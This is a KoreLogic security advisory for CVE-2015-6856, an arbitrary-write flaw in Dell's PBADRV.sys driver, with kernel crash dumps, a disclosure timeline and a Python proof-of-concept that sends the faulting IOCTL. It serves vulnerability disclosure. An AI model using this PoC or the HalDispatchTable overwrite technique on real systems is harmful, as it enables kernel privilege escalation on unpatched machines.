-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2015-008 : Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address Title: Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address Advisory ID: KL-001-2015-008 Publication Date: 2015.12.18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-008.txt 1. Vulnerability Details Affected Vendor: Dell Affected Product: Pre-Boot Authentication Driver Affected Version: 1.0.1.5 Platform: Microsoft Windows XP SP3, Microsoft Windows 2003 SP2, Microsoft Windows 7 CWE Classification: CWE-20: Improper input validation Impact: Arbitrary Code Execution Attack vector: IOCTL CVE-ID: CVE-2015-6856 2. Vulnerability Description The Dell Pre-Boot Authentication Driver (PBADRV.sys) contains a vulnerability that can be leveraged to enable an attacker to write arbitrary code. The 'OutputAddress' from the IOCTL call is not validated before it attempts to write to memory. The content of the write is a four-byte hex value that is always greater than that of the kernel base address. Using multiple writes, it may be possible to overwrite the first entry of HalDispatchTable in a way that the entry would point to a user-land address. An attacker need only allocate shellcode at said address and call the ntdll!NtQueryIntervalProfile() function. 3. Technical Description Example against Windows XP: Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\WINXP\MEMORY.DMP] Kernel Complete Dump File: Full address space is available Symbol search path is: srv* Executable search path is: Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Tue Feb 3 05:41:17.712 2015 (UTC - 8:00) System Uptime: 0 days 0:03:46.296 Loading Kernel Symbols .... kd> !analyze -v READ_ADDRESS: 909090d4 FAULTING_IP: +2902faf00efdfc0 00000008 8b4044 mov eax,dword ptr [eax+44h] MM_INTERNAL_CODE: 0 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: pythonw.exe TRAP_FRAME: b24bdc8c -- (.trap 0xffffffffb24bdc8c) ErrCode = 00000000 eax=90909090 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=012c1be8 edi=b24bdd64 eip=00000008 esp=b24bdd00 ebp=b24bdd20 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 00000008 8b4044 mov eax,dword ptr [eax+44h] ds:0023:909090d4=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 8051cc7f to 804f8cc5 STACK_TEXT: b24bdc14 8051cc7f 00000050 909090d4 00000000 nt!KeBugCheckEx+0x1b b24bdc74 805405d4 00000000 909090d4 00000000 nt!MmAccessFault+0x8e7 b24bdc74 00000008 00000000 909090d4 00000000 nt!KiTrap0E+0xcc WARNING: Frame IP not in any known module. Following frames may be wrong. b24bdcfc 8063d5cd 00000001 0000000c b24bdd14 0x8 b24bdd20 8060eb43 00000002 b24bdd64 0021f7f8 nt!KeQueryIntervalProfile+0x37 b24bdd54 8053d6d8 00000002 012c1be8 0021f7fc nt!NtQueryIntervalProfile+0x61 b24bdd54 7c90e514 00000002 012c1be8 0021f7fc nt!KiFastCallEntry+0xf8 0021f7e4 7c90d84a 1d1add9a 00000002 012c1be8 ntdll!KiFastSystemCallRet 0021f7e8 1d1add9a 00000002 012c1be8 0021f89c ntdll!NtQueryIntervalProfile+0xc 0021f7fc 1d1acab6 1d1ac900 0021f81c 00000008 _ctypes!DllCanUnloadNow+0x5b6a 0021f82c 1d1a8db8 7c90d83e 0021f920 24f7d09f _ctypes!DllCanUnloadNow+0x4886 0021f8dc 1d1a959e 00001100 7c90d83e 0021f910 _ctypes!DllCanUnloadNow+0xb88 0021f984 1d1a54d8 7c90d83e 012d4300 00000000 _ctypes!DllCanUnloadNow+0x136e 0021f9dc 1e07cf0c 00000000 012d4300 00000000 _ctypes+0x54d8 00000000 00000000 5044408b 000004bb 88808b00 python27!PyObject_Call+0x4c STACK_COMMAND: kb FOLLOWUP_IP: nt!KiTrap0E+cc 805405d4 85c0 test eax,eax SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: nt!KiTrap0E+cc FOLLOWUP_NAME: MachineOwner MODULE_NAME: nt IMAGE_NAME: ntkrnlpa.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4d00d4fb FAILURE_BUCKET_ID: 0x50_nt!KiTrap0E+cc BUCKET_ID: 0x50_nt!KiTrap0E+cc Followup: MachineOwner --------- Example against Windows 7: Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Users\dev\Desktop\Mini091715-01.dmp] Mini Kernel Dump File: Only registers and stack trace are available Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y <symbol_path> argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Windows Server 2003 Kernel Version 3790 (Service Pack 2) UP Free x86 compatible Product: Server, suite: Enterprise TerminalServer SingleUserTS Machine Name: Kernel base = 0x80800000 PsLoadedModuleList = 0x808a1fe8 Debug session time: Thu Sep 17 08:21:15.962 2015 (UTC - 7:00) System Uptime: 0 days 0:10:19.785 ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y <symbol_path> argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {ffffffff, 1, 80820de3, 0} ***** Kernel symbols are WRONG. Please fix symbols to do analysis. ************************************************************************* *** WARNING: Unable to verify timestamp for hal.dll *** ERROR: Module load completed but symbols could not be loaded for hal.dll *** WARNING: Unable to verify timestamp for PBADRV.sys *** ERROR: Module load completed but symbols could not be loaded for PBADRV.sys *** WARNING: Unable to verify timestamp for srv.sys *** ERROR: Module load completed but symbols could not be loaded for srv.sys ************************************************************************* Probably caused by : PBADRV.sys ( PBADRV+13a0 ) Followup: MachineOwner --------- kd> .symfix;.reload Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 80820de3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name Unable to load image \??\C:\Documents and Settings\Administrator\Desktop\PBADRV.sys, Win32 error 0n2 *** WARNING: Unable to verify timestamp for PBADRV.sys *** ERROR: Module load completed but symbols could not be loaded for PBADRV.sys WRITE_ADDRESS: GetPointerFromAddress: unable to read from 808a1df0 GetPointerFromAddress: unable to read from 808a1de8 GetUlongFromAddress: unable to read from 808a67f8 ffffffff FAULTING_IP: nt!IopCompleteRequest+97 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: python.exe CURRENT_IRQL: 1 ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre IRP_ADDRESS: 87c57378 TRAP_FRAME: ba456a6c -- (.trap 0xffffffffba456a6c) ErrCode = 00000002 eax=00000004 ebx=87c57378 ecx=00000001 edx=00000000 esi=88064e50 edi=ffffffff eip=80820de3 esp=ba456ae0 ebp=ba456b24 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x97: 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope LAST_CONTROL_TRANSFER: from 8085b93b to 80827109 STACK_TEXT: ba4569e0 8085b93b 00000050 ffffffff 00000001 nt!KeBugCheckEx+0x1b ba456a54 808885d8 00000001 ffffffff 00000000 nt!MmAccessFault+0xa91 ba456a54 80820de3 00000001 ffffffff 00000000 nt!KiTrap0E+0xd8 ba456b24 8082cd9a 87c573b8 ba456b70 ba456b64 nt!IopCompleteRequest+0x97 ba456b74 80a59f1f 00000000 00000000 00000000 nt!KiDeliverApc+0xb8 ba456b94 80a5a153 ba456b01 00000000 87c573b8 hal!HalpDispatchSoftwareInterrupt+0x49 ba456bb0 80a5a1d0 00000001 ba456b00 ba456bd0 hal!HalpCheckForSoftwareInterrupt+0x81 ba456bc0 8082f793 00000000 ba456b00 ba456bf0 hal!KfLowerIrql+0x62 ba456bd0 80829939 87c573b8 87c57378 00000000 nt!KiExitDispatcher+0xd3 ba456bf0 8081daa5 87c573b8 87a0cb68 00000000 nt!KeInsertQueueApc+0x57 ba456c24 ba5423a0 87c57378 87cbb490 87c57378 nt!IopfCompleteRequest+0x201 WARNING: Stack unwind information not available. Following frames may be wrong. ba456c3c 8081d7d3 87d13c88 87c57378 87a0cb68 PBADRV+0x13a0 ba456c50 808ef85d 87c573e8 87a0cb68 87c57378 nt!IofCallDriver+0x45 ba456c64 808f05ff 87d13c88 87c57378 87a0cb68 nt!IopSynchronousServiceTail+0x10b ba456d00 808e912e 00000788 00000000 00000000 nt!IopXxxControlFile+0x5e5 ba456d34 80885614 00000788 00000000 00000000 nt!NtDeviceIoControlFile+0x2a ba456d34 7c82845c 00000788 00000000 00000000 nt!KiSystemServicePostCall 0021fa8c 00000000 00000000 00000000 00000000 0x7c82845c STACK_COMMAND: kb FOLLOWUP_IP: PBADRV+13a0 ba5423a0 ?? ??? SYMBOL_STACK_INDEX: b SYMBOL_NAME: PBADRV+13a0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: PBADRV IMAGE_NAME: PBADRV.sys DEBUG_FLR_IMAGE_TIMESTAMP: 478274de FAILURE_BUCKET_ID: 0x50_PBADRV+13a0 BUCKET_ID: 0x50_PBADRV+13a0 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0x50_pbadrv+13a0 FAILURE_ID_HASH: {7469b31a-ad45-6d57-5589-106dc943201e} Followup: MachineOwner --------- 4. Mitigation and Remediation Recommendation The vendor no longer supports this version, and no known remediation is available. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2015.02.18 - KoreLogic sends vulnerability report and PoC to Dell. 2015.02.19 - Dell acknowledges receipt of vulnerability report. 2015.04.06 - KoreLogic contacts Dell for a progress update and directs Dell to KoreLogic's 45 business day disclosure timeline. 2015.04.07 - Dell requests additional time to develop remediation. 2015.04.07 - KoreLogic asks for an estimate of the timeline for remediation. 2015.04.09 - Dell responds to say they are unable to provide an estimate for the length of time to develop a mitigation or remediation strategy. 2015.04.27 - 45 business days have elapsed since the vulnerability was reported to Dell. 2015.07.01 - 90 business days have elapsed since the vulnerability was reported to Dell. 2015.08.13 - 120 business days have elapsed since the vulnerability was reported to Dell. 2015.09.10 - KoreLogic requests a CVE from Mitre. 2015.09.10 - Mitre issues CVE-2015-6856. 2015.09.11 - KoreLogic requests update from Dell. 2015.09.18 - Dell responds to say they are unable to provide an estimate for the length of time to develop a mitigation or remediation strategy. 2015.09.30 - 150 business days have elapsed since the vulnerability was reported to Dell. 2015.11.04 - KoreLogic notifies Dell the issue will be disclosed publicly in 10 business days. 2015.11.04 - Dell states they are working on a remediation and asks KoreLogic to continue to hold back public release. 2015.11.13 - 180 business days have elapsed since the vulnerability was reported to Dell. 2015.12.03 - Dell responds with the following statement: "The referenced software component is from an old version of Dell Data Protection | Authentication that has not been shipped for some time and is no longer supported. No software updates are planned at this time." 2015.12.18 - Public disclosure. 7. Proof of Concept ######################################################################## # # Copyright 2015 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # # # Author: Matt Bergin (KoreLogic / Smash the Stack) # # Purpose: Dell PBADRV.sys Privilege Escalation PoC XP SP3 # ######################################################################## from ctypes import byref, c_int, c_ulong, windll from sys import exit CreateFileA, NtAllocateVirtualMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory, DeviceIoControlFile = windll.kernel32.WriteProcessMemory, windll.ntdll.ZwDeviceIoControlFile CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = 2, 1, 3, 0 handle = CreateFileA("\\\\.\\PBADRV", FILE_SHARE_WRITE | FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None) NtAllocateVirtualMemory(-1, byref(c_int(0x1)), 0x0, byref(c_int(0xffff)), 0x1000 | 0x2000, 0x40) WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) DeviceIoControlFile(handle, NULL, NULL, NULL, byref(c_ulong(8)), 0x0022201c, 0x1, 0x258, 0x90909090, 0) # Fail CloseHandle(handle) exit(0) The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJWdIB7AAoJEE1lmiwOGYkME7cH/13T9fnDcVjynm4OkHpd1BiN 9xvNtLruxQN12OLJrPKuH/ccp1L33J5YWacPbRt1rffSEFvntv7nD/dIHQFNSvAT aFrEcjJ0hcj25Xd44IeG9QwP8QB2a4yAG1YLChlUOQwF9KJym1o7RBsAogeCLS+x heq2hvOOTB+frxfFQX4M1C5Hl/vVdaVELmn6DuvmKqOQbKWoQDPufeUAZIMgDw4b x3CtCY+WCI8KqhVo5EgA4anwJOKbQ0RSpWbN2KYnHALYuA9ndz5yNknzY82Wbydb TCDflsijwfdq7kdlIA8HNp/y5Ekfv+G8NtbmugeZ0i4epI8eUZUfjSmSeKn2+rI= =JAVc -----END PGP SIGNATURE-----